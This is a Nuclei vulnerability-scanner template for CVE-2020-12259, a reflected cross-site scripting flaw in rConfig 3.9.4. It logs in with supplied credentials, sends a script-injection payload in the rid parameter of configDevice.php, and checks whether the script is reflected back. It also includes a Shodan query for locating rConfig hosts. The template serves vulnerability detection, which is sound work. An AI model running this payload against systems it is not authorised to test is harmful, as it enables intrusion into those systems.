nuclei-templates/http/cves/2020/CVE-2020-12259.yaml

id: CVE-2020-12259

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12259
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12259
    cwe-id: CWE-79
    epss-score: 0.16256
    epss-percentile: 0.95458
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rConfig"
  tags: cve,cve2020,rconfig,authenticated,xss

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and

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